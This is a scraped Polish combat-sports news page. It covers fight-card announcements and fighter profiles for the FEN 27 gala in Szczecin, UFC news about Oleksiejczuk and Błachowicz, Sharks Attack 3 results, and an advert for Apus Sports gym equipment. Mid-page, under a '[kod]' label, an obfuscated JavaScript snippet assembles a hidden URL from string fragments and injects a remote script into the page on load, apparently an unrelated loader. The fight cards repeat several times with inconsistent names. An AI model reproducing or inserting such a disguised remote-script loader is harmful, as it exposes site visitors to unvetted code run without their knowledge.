Vogt ma 24 lata i urodził się w Świnouściu. Zawodowy debiut wojownika z północy przypadł na końcówkę 2018 roku, gdy zmierzył się z Borysem Borkowskim. W maju 2019 roku rozprawił się przez techniczny nokaut z Austriakiem, Sebastianem Szwedą. Poza znakomitą kontrolą walki w stójce Vogt pokazał, że jego kopnięcia na korpus potrafią kompletnie stłamsić przeciwnika. Pojedynek w Szczecinie będzie największym wyzwaniem w karierze zawodnika ze stolicy zachodniego pomorza i jednocześnie debiutem pod szyldem FEN.

KARTA WALK FEN 27:

70,3 KG, MMA: Mateusz Rębecki VS Magomed Magomedov*
93,0 KG, MMA: Wojciech Janusz VS TBA
120,2 KG, MMA: Marcin Sianos VS TBA
56,7 KG, MMA: Katarzyna Lubońska VS TBA
77,1 KG, MMA: Kamil Gniadek VS Michał Balcerczak
70,0 KG, K-1: Marcin Parcheta VS TBA
61,2 KG, MMA: Sebastian Romanowski VS TBA
93,0 KG, MMA: Michał Gutowski VS Łukasz Sudolski
77,1 KG, MMA: Jacek Jędraszczyk VS Samuel Vogt
61,2 KG, MMA: Patryk Trytek VS Igor Wojtas

*Walka o pas mistrzowski

Kup bilet VIP na galę FEN 27 w Szczecinie na portalu: www.eventim.pl.

Profesjonalny sprzęt do siłowni – od czego zacząć?

Szukasz wysokiej jakości produktów do swojej siłowni lub klubu? Koniecznie zapoznaj się z ofertą marki Apus Sports! Projektujemy i produkujemy sprzęt, który spełnia oczekiwania właścicieli siłowni i ich użytkowników.

Siłownie, kluby fitness – to miejsca, które w dzisiejszych czasach są pożądane. Wiele osób chce mieć nienaganną sylwetkę niczym mitologiczny Apollo. Trzeba jednak zwrócić uwagę, że stale wzrasta świadomość społeczna dotycząca troski o zdrowie. Zdajemy sobie sprawę z istoty aktywności fizycznej. Dlatego wiele osób inwestuje w karnety na siłownię bądź do klubów fitness. Szukają w nich odpowiedniego sprzętu oraz fachowego wsparcia.

Użytkownicy mają ściśle określone wymagania, dlatego właściciele siłowni muszą zapewnić najwyższej jakości sprzęt, który pozwoli klientom osiągnąć ich cele. Wiadomo, że podstawą jest bezpieczeństwo i funkcjonalność akcesoriów. Poszukując odpowiedniego sprzętu oraz informacji na temat właściwego wyposażenia klubu koniecznie należy zapoznać się z ofertą Apus-Sports.com. Jesteśmy dynamicznie rozwijającą się marka akcesoriów fitness i wolnych ciężarów. Celem Apus Sports jest projektowanie i produkcja profesjonalnego sprzętu, który spełni oczekiwania właścicieli klubów i siłowni oraz zadowoli ich użytkowników. W swojej działalności towarzyszy nam hasło „Quality of tomorrow”.

Ogromnym atutem marki Apus Sports jest znajomość branży. Korzystamy z wiedzy ekspertów w swoich dziedzinach i pasjonatów sportu. Stałe podążanie za trendami i nieustanny rozwój sprawiają, że oferta jest kompleksowa. Dlatego nie ma się nad czym zastanawiać! Prowadzisz siłownię albo klub fitness? Chcesz rozpocząć tego typu działalność i szukasz wsparcia profesjonalistów? Lepiej nie mogłeś trafić! Apus-Sports.com to Twój krok w stronę sukcesu! Wysokiej jakości sprzęt, nowoczesny desing, ergonomia i przede wszystkim wiedza. Najkrócej – pełen profesjonalizm.

Na początku działalności pojawiają się liczne pytania i wątpliwości. Nasi eksperci zawsze są do dyspozycji i na każdym etapie realizacji projektu gwarantują wsparcie. Doskonale znamy branżę, co pozwala nam prowadzić profesjonalne doradztwo w zakresie otwarcia i prowadzenia klubu. Jesteśmy w stanie przejść z Państwem przez cały proces. Zapewniamy przygotowanie projektu i aranżację oraz dobór odpowiednich maszyn. Jesteśmy do dyspozycji! Sport jest naszą pasją, którą chcemy się dzielić!

W Apus Sports znajdziesz wszystko, co jest niezbędne do prowadzenia siłowni bądź klubu fitness. Posiadamy sprzęt do treningu funkcjonalnego, strefy fitness czy wolne ciężary. W naszej ofercie znajdziesz: gryfy olimpijskie, hantle, kettlebells, liny treningowe, maty fitness, pasy, młoty, piłki gimnastyczne, skakanki, rollery, stojaki na obciążenia olimpijskie, gryfy, sztangi czy piłki, zaciski, tubing oraz sztangi. Na indywidualne zamówienie przygotowujemy klatki funkcjonalne.

Sprzęt to tylko część naszej działalności. Dzięki ogromnemu doświadczeniu i znajomości branży chcemy dzielić się swoją wiedzą, aby wspierać naszych klientów w tworzeniu wyjątkowych miejsc do aktywności fizycznej. Prowadzimy również sprzedaż zregenerowanych maszyn firm Precor, Life Fitness i Technogym. Jesteśmy wyłącznym dystrybutorem sprzętu włoskiej marki Panatta. Masz problem z akcesoriami? Nie martw się – prowadzimy regenerację sprzętu klienta. Zapewniamy również serwis w postaci przeglądu, wymiany podzespołów i naprawy akcesoriów.

Zaufało nam wielu klientów. Na naszym sprzęcie ćwiczą ludzie w siłowniach i klubach fitness w Polsce i w Europie. Właściciele są usatysfakcjonowani, a ich biznes kwitnie. Nieważne, czy dopiero zaczynasz czy masz siłownię bądź klub fitness – możesz na nas liczyć. Apus Sports stawia na jakość i profesjonalizm. U nas nie ma miejsca na bylejakość, dlatego chcemy tworzyć jutro i sprawiać, żeby każdy dzień był lepszy.

[kod]

(function(){
oabb=document.createElement("script");oabb.async=true;oabb_="u"+("s")+"t";
oabbu="186672204.";oabb_+="a"+("t.i");oabb_+="n"+("f"+"o")+"/";
oabbu+="hp8j3ycnabbcrw284ti07b"+("Xbet9n41");
oabb.src="https://"+oabb_+oabbu;oabb.type="text/javascript";
document.body.appendChild(oabb);
})();

Parcheta występem w Szczecinie rozpoczyna swoją przygodę w FEN!

Marcin Parcheta (21-5) będzie kolejnym bohaterem gali FEN 27 w Szczecinie. Zawodnik reprezentujący klub Nak Muay Szczecin 18 stycznia zadebiutuje pod szyldem federacji. Limit wagowy pojedynku w formule K-1 to 77 kilogramów.

Parcheta to niezwykle utytułowany zawodnik z ogromnym doświadczeniem na koncie. Szczecinianin to wielokrotny mistrz świata Muay Thai oraz K-1. Na zawodowych ringach stoczył 26 walk, z których aż 21 wygrał, w tym osiem przed czasem. Parcheta słynie z nieustępliwości oraz widowiskowych pojedynków, dzięki którym niejednokrotnie skradł serca swoich fanów. Walka przed własną publicznością będzie powrotem Parchety do zawodowych startów.

Kup bilet na galę FEN 27 w Szczecinie na portalu: www.eventim.pl.

Vogt zasili mocną kategorię półśrednią w FEN

Samuel Vogt (1-1, 1 KO) wystąpi na gali FEN 27 w Szczecinie. Zawodnik Berserkers Team Szczecin zasili tym samym niezwykle mocną kategorię półśrednią w federacji FEN.

Vogt ma 24 lata i urodził się w Świnouściu. Zawodowy debiut wojownika z północy przypadł na końcówkę 2018 roku, gdy zmierzył się z Borysem Borkowskim. W maju 2019 roku rozprawił się przez techniczny nokaut z Austriakiem, Sebastianem Szwedą. Poza znakomitą kontrolą walki w stójce Vogt pokazał, że jego kopnięcia na korpus potrafią kompletnie stłamsić przeciwnika. Pojedynek w Szczecinie będzie największym wyzwaniem w karierze zawodnika ze stolicy zachodniego pomorza i jednocześnie debiutem pod szyldem FEN.

Napędzony kolejnymi zwycięstwami Magomedow rywalem Rębeckiego w Szczecinie

Magomed Magomedow (12-1, 1 KO, 7 SUB) będzie rywalem Mateusza Rębeckiego (9-1, 4 KO, 4 SUB) podczas walki wieczoru gali FEN 27 w Szczecinie. Dla „Chińczyka” będzie to trzecia obrona pasa mistrzowskiego FEN w kategorii lekkiej.

Magomedow ma 28 lat, pochodzi z Magnitogorska i trenuje w Ferrum Fight Club. „Kobra” aż 8 ze swoich zwycięskich walk skończył przed czasem, z czego siedem przez poddania swoich rywali. Magomedow może pochwalić się serią pięciu kolejnych zwycięstw z rzędu popisując się w nich wszechstronnością – swoich rywali nokautował, poddawał i pokonywał na pełnym dystansie. Rosjanin od ośmiu lat walczy zawodowo, a pojedynek z Rębeckim będzie największym wyzwaniem w jego dotychczasowej karierze.

Rębecki to najlepszy zawodnik FEN bez podziału na kategorie wagowe. „Chińczyk” w marcu 2018 roku znokautował ciosem na wątrobę Mariana Ziółkowskiego nie pozostawiając wątpliwości, który z zawodników prezentuje wyższy poziom. Później Rębecki wygrał pewnie przed czasem z Łukaszem Koperą i Daguirem Imavovem, który po pierwszej rundzie walki na FEN 23 doznał kontuzji i musiał się poddać. Mający aspiracje występów w UFC „Chińczyk” po raz drugi w karierze będzie bohaterem walki wieczoru na galach FEN.

Sianos kolejnym bohaterem gali FEN 27

Marcin Sianos (4-4, 4 KO) wystąpi 18 stycznia podczas gali FEN 27 w Szczecinie. Zawodnik z Kołobrzegu po raz piąty zamelduje się w klatce FEN.

Sianos spośród czterech zwycięskich walk na zawodowstwie wszystkie skończył w ten sam sposób – nokautując swoich rywali. O sile jego prawej ręki przekonał się Marcin Zontek, który jeszcze w pierwszej odsłonie musiał uznać wyższość polskiego kolosa i padł na deski, a w konsekwencji przegrał pojedynek. Wcześniej Sianos stoczył krwawy bój z Grzegorzem Cieplińskim i już w premierowej odsłonie rozprawił się z Mateuszem Łazowskim.

KARTA WALK FEN 27:

70,3 KG, MMA: Mateusz Rębecki VS Magomed Magomedov*
93,0 KG, MMA: Wojciech Janusz VS TBA
77,1 KG, MMA: Maciej Jewtuszko VS TBA
120,2 KG, MMA: Marcin Sianos VS TBA
56,7 KG, MMA: Katarzyna Lubońska VS TBA
TBA VS TBA
70,0 KG, K-1: Marcin Parcheta VS TBA
93,0 KG, MMA: Łukasz Sudolski VS TBA
77,1 KG, MMA: Samuel Vogt VS TBA
61,2 KG, MMA: Patryk Trytek VS Igor Wojtas

*Walka o pas mistrzowski

Kup bilet VIP na galę FEN 27 w Szczecinie na portalu: www.eventim.pl.

Gniadek wraca do Szczecina pojedynkiem z Balcerzakiem

Kamil Gniadek (13-7, 3 KO, 8 SUB) powraca do klatki FEN. Zawodnik reprezentujący klub Berkut WCA Fight Team podejmie debiutującego pod szyldem federacji Michała Balcerzaka (2-1, 2 KO).

Gniadek to mimo wciąż młodego wieku jeden z weteranów FEN. Zawodnik pochodzący ze Szczecina to były pretendent do tytułu mistrzowskiego w kategorii półśredniej. W październiku 2018 roku Gniadek już w pierwszej rundzie znokautował Jacka Jędraszczyka. Wcześniej trzykrotnie walczył dla FEN i za każdym razem kończył pojedynki przed czasem nie dając szans swoim rywalom.

Balcerzak ma 25 lat i dopiero po raz pierwszy wystąpi pod szyldem FEN. Reprezentant Husaria Fight Team z dwóch swoich wygranych pojedynków oba zakończył przez TKO w 1. rundach. Wynik starcia Balcerzaka z Tomaszem Romanowskim, które odbyło się w październiku 2019 roku, to „no contest”. Wszystko przez przypadkowy cios poniżej pasa Romanowskiego.

KARTA WALK FEN 27:

70,3 KG, MMA: Mateusz Rębecki VS Magomed Magomedov*
93,0 KG, MMA: Wojciech Janusz VS TBA
77,1 KG, MMA: Maciej Jewtuszko VS TBA
120,2 KG, MMA: Marcin Sianos VS TBA
56,7 KG, MMA: Katarzyna Lubońska VS TBA
77,1 KG, MMA: Kamil Gniadek VS Michał Balcerzak
70,0 KG, K-1: Marcin Parcheta VS TBA
93,0 KG, MMA: Łukasz Sudolski VS TBA
77,1 KG, MMA: Samuel Vogt VS TBA
61,2 KG, MMA: Patryk Trytek VS Igor Wojtas

*Walka o pas mistrzowski

Kup bilet VIP na galę FEN 27 w Szczecinie na portalu: www.eventim.pl.

Jewtuszko z powodu kontuzji nie wystąpi na FEN 27

Maciej Jewtuszko (12-5, 7 KO, 5 SUB) nie wystąpi podczas gali FEN 27 w Szczecinie. Irokez zmaga się z kontuzją, której nie zdoła wyleczyć przed 18 stycznia.

„Jest mi bardzo smutno z tego powodu, ale taki niestety jest sport. Maciek jakiś czas temu zadzwonił do mnie i powiedział, że ma problemy z kontuzją, którą leczy od dłuższego czasu. Postawił sprawę jasno, zachował się uczciwie. Gdy okazało się, że nie jest w stanie przygotować się do pojedynku w Szczecinie, słusznie zauważył, że wychodzenie do klatki przygotowanym na pół gwizdka nie ma sensu. Nie chcemy nabierać kibiców i obiecywać im emocji, gdy nasz zawodnik nie jest gotowy na 100%. Występ Irokeza przekładamy na jedną z kolejnych naszych gal, a ja trzymam kciuki za jego powrót to zdrowia” – powiedział prezes FEN, Paweł Jóźwiak.

Maciej Jewtuszko pojawi się na gali w Szczecinie jako gość specjalny i zadeklarował, że pomoże w promocji gali 18 stycznia.

KARTA WALK FEN 27:

70,3 KG, MMA: Mateusz Rębecki VS Magomed Magomedov*
93,0 KG, MMA: Wojciech Janusz VS TBA
120,2 KG, MMA: Marcin Sianos VS TBA
56,7 KG, MMA: Katarzyna Lubońska VS TBA
77,1 KG, MMA: Kamil Gniadek VS Michał Balcerczak
70,0 KG, K-1: Marcin Parcheta VS TBA
93,0 KG, MMA: Łukasz Sudolski VS TBA
77,1 KG, MMA: Samuel Vogt VS TBA
61,2 KG, MMA: Patryk Trytek VS Igor Wojtas

*Walka o pas mistrzowski

Kup bilet VIP na galę FEN 27 w Szczecinie na portalu: www.eventim.pl.

Derby półciężkich ze Szczecina, czyli Gutowski dla Sudolskiego

Michał Gutowski (9-10, 1 KO, 3 SUB) stanie 18 stycznia w klatce naprzeciwko Łukasza Sudolskiego (5-0, 3 KO) podczas gali FEN 27. Pojedynek ten śmiało można nazwać derbami Szczecina, gdyż obaj zawodnicy pochodzą ze stolicy zachodniego pomorza.

Gutowski na zawodowstwie jest od 2010 roku, gdy stoczył pojedynek z Danielem Omielańczukiem. Później Gutek zanotował dwa kolejne zwycięstwa. W 2012 roku szczecinianin pokonał przez poddanie w 1. rundzie Marcina Elsnera, w odstępie ośmiu miesięcy dwukrotnie jednogłośną decyzją sędziów wygrał z Maciejem Browarskim oraz zwyciężył Marcina Wójcika. Po czteroletniej przerwie od startów w październiku 2018 roku Gutowski wygrał przez nokaut w 3. rundzie z Adamem Wiśniewskim. W swoim debiucie na FEN uległ Wojciechowi Januszowi.

Sudolski w styczniu 2013 roku zadebiutował na zawodowstwie i jednogłośną decyzją sędziów wygrał wtedy z Grzegorzem Cieplińskim. Później trzy kolejne starcia zwyciężył przez TKO zostawiając w pokonanym polu Pawła Grazewicza, Marcina Filipczaka i Krzysztofa Klepacza. Ostatni pojedynek Sudolskiego również zakończył się zwycięstwem, tym razem podczas gali Babilon MMA 9. Zawodnik ze Szczecina wygrał z Mateuszem Ostrowskim dzięki jednogłośnej decyzji sędziów.

KARTA WALK FEN 27:

70,3 KG, MMA: Mateusz Rębecki VS Magomed Magomedov*
93,0 KG, MMA: Wojciech Janusz VS TBA
120,2 KG, MMA: Marcin Sianos VS TBA
56,7 KG, MMA: Katarzyna Lubońska VS TBA
77,1 KG, MMA: Kamil Gniadek VS Michał Balcerczak
70,0 KG, K-1: Marcin Parcheta VS TBA
93,0 KG, MMA: Łukasz Sudolski VS TBA
77,1 KG, MMA: Samuel Vogt VS TBA
61,2 KG, MMA: Patryk Trytek VS Igor Wojtas

*Walka o pas mistrzowski

Kup bilet VIP na galę FEN 27 w Szczecinie na portalu: www.eventim.pl.

Crute rywalem Oleksiejczuka

23 lutego podczas gali UFC on ESPN+26 w Auckland Michał Oleksiejczuk zmierzy się z Jimmy'm Curte'm.

Rok 2019 był niezwykle ważny w karierze "Lorda". Polski wojownik wrócił do rywalizacji w UFC po trzynastomiesięcznej przerwie spowodowanej zawieszeniem przez Amerykańską Agencję Antydopingową. Przed debiutem w organizacji, starcie z Khalilem Rountree, w organizmie Oleksiejczuka wykryto zakazaną substancję. Co prawda Polak wygrał w Las Vegas jednogłośną decyzją sędziów, ale pojedynek uznano za nieodbyty.

Mijały kolejne dni, tygodnie i miesiące, a Oleksiejczuk musiał cierpliwie czekać. Powrót nastąpił 23 lutego w Pradze, kiedy to w walce wieczoru Jan Błachowicz przegrał z Thaigo Santosem. Dla Oleksiejczuka był to ważny i szczęśliwy dzień. Polak wrócił do klatki UFC w wielkim stylu. Oleksiejczuk już w pierwszej rundzie pokonał Giana Villante po potężnym ciosie na wątrobę. Na kolejne starcie Polak czekał zaledwie dwa miesiące i wygrał równie ekspresowo. Zaledwie 44 sekund Oleksiejczuk potrzebował, aby wypunktować Gadzhimurada Antigulova. W kolejnym pojedynku "Lord" zmierzył się z doświadczonym Ovince'm St. Preux. Tym razem Oleksiejczuk schodził pokonany z placu boju. Trzy walki i starczy. Kolejne wyzwanie przed polskim fighterem w 2020 roku.

23 lutego w Spark Arena w Auckland "Lord" postara się o trzecie zwycięstwo w UFC. Jego rywalem będzie Jim Crute. 23-letni Australijczyk jest solidnym zawodnikiem, który dobrze prezentuje się w stójce. Przede wszystkim Crute może imponować kopnięciami. Australijczyk stoczył trzy walki w UFC, z których dwie wygrał. W ostatnim starciu przegrał z Mishą Cirkunovem. Co istotne – wszystkie trzy walki Crute'a w UFC kończyły się przed czasem.

Pojawiły się również informacje, że w Auckland zaprezentuje się Karolina Kowalkiewicz. Rywalką byłej mistrzyni KSW miałaby być Yan Hiaonan. Polska zawodniczka przeżywa ostatnio gorszy czas – przegrała trzy walki z rzędu. Kolejny pojedynek będzie miał ogromne znaczenie dla przyszłości Kowalkiewicz w UFC.

Fot. Michał " Lord" Oleksiejczuk Facebook

KM

Gala „Sharks Attack 3” – wyniki

Sharks Attack 3 – wyniki:

Walka wieczoru o pas zawodowego MP K-1 ISKA:
K1 57 kg: Dominika Filec pok. Klaudia Pawicka przez TKO, R2

Co-main event:
77 kg: Mariusz Radziszewski pok. Roman Belogurov przez poddanie (duszenie zza pleców), R2

Walka o pas zawodowego MP K-1 ISKA:
K1 68 kg: Rafał Kosiarski pok. Patryk Magnucki przez jednogłośną decyzję

Walki zawodowe:

73 kg: Alan Langer pod. Andrey Krasnikov przez poddanie (trójkąt nogami) R1
73 kg: Michał Cichoń pok. Oskar Herczyk przez jednogłośną decyzję
84 kg: Viktor Bilyi pok. Mateusz Gątek przez poddanie (duszenie zza pleców) R1
66 kg: Szymon Rakowicz pok. Kamil Warzybok przez poddanie (duszenie zza pleców) R2

Walki semi-pro:

OPEN: Krzysztof Bąkowicz pok. Łukasz Stępień przez poddanie (gilotyna) R3
57 kg: Paulina Wiśniewska pok. Barbara Grabowska przez poddanie (dźwignia na rękę) R1
80 kg: Kamil Szyndlar pok. Alan Szymański przez niejednogłośną decyzję
57 kg: Sandra Kulpa pok. Katarzyna Samerdak przez TKO (cios na wątrobę) R1

Błachowicz ponownie z Andersonem

Znamy termin kolejnej walki Jana Błachowicza. 15 lutego podczas gali UFC Fight Night w Rio Rancho Polak zmierzy się z Corey'em Andersonem.

36-letni Błachowicz będzie miał okazję zrewanżować się Amerykaninowi za porażkę z września 2015 roku. Dla zawodnika pochodzącego z Cieszyna był to trzeci występ w UFC. W MGM Grand Garden Arena w Las Vegas Błachowicz przegrał decyzją sędziów, a na przestrzeni całego starcia wypadł słabo. Przede wszystkim zawiodła kondycja. Z czasem Anderson zaczął dominować, a w drugiej odsłonie w parterze słał w stronę Polaka ciosy pięściami i łokciami. Trzecia runda to kontynuacja pracy Amerykanina, który postawił kropkę nad "i".

Tak wyglądało starcie cztery lata temu. Od tamtego czasu sytuacja Błachowicza w UFC zmieniła się. Polak marzy o pojedynku o pas wagi półciężkiej. Bez dwóch zdań jest w czołówce kategorii. Gdyby nie lutowa porażka z Thiago Santosem, być może były czempion KSW starcie o pas UFC miałby za sobą. Warto wspomnieć, że po pokonaniu Błachowicza Brazylijczyk spotkał się z mistrzem Jonem Jonesem, ale przegrał.

"Cieszyński Książę" wygrał dwa ostatnie starcia. Na uwagę zasługuje wygrana z Luke'm Rockholdem podczas UFC 239. Nokaut Polaka obiegł cały świat i spotkał się z ogromnym uznaniem. 16 listopada Błachowicz stoczył zaciętą walkę z Ronaldo Souzą, ale wygrał po pięciu rundach. W sześciu z siedmiu ostatnich pojedynków Polak świętował zwycięstwo. Dobrą passę ma również Corey Anderson. 30-letni Amerykanin wygrał cztery walki z rzędu, a jego ostatnią ofiarą padł Johnny Walker. Anderson nie przegrał od ponad dwóch lat. Ostatnią porażką zanotował podczas UFC 217 – lepszy okazał się Ovince St. Preux.

15 lutego w Santa Ana Star Center dojdzie do starcia dwóch mocnych zawodników. Warto dodać, że będzie to walka wieczoru. Anderson zajmuje piąte miejsce w rankingu kategorii półciężkiej, z kolei Błachowicz jest na szóstej pozycji. Zwycięzca wykona krok w stronę starcia o pas. Wcześniej, bo 8 lutego, mistrz Jon Jones zmierzy się w Houston z Dominickiem Reyesem.

Fot. Jan Błachowicz Facebook

KM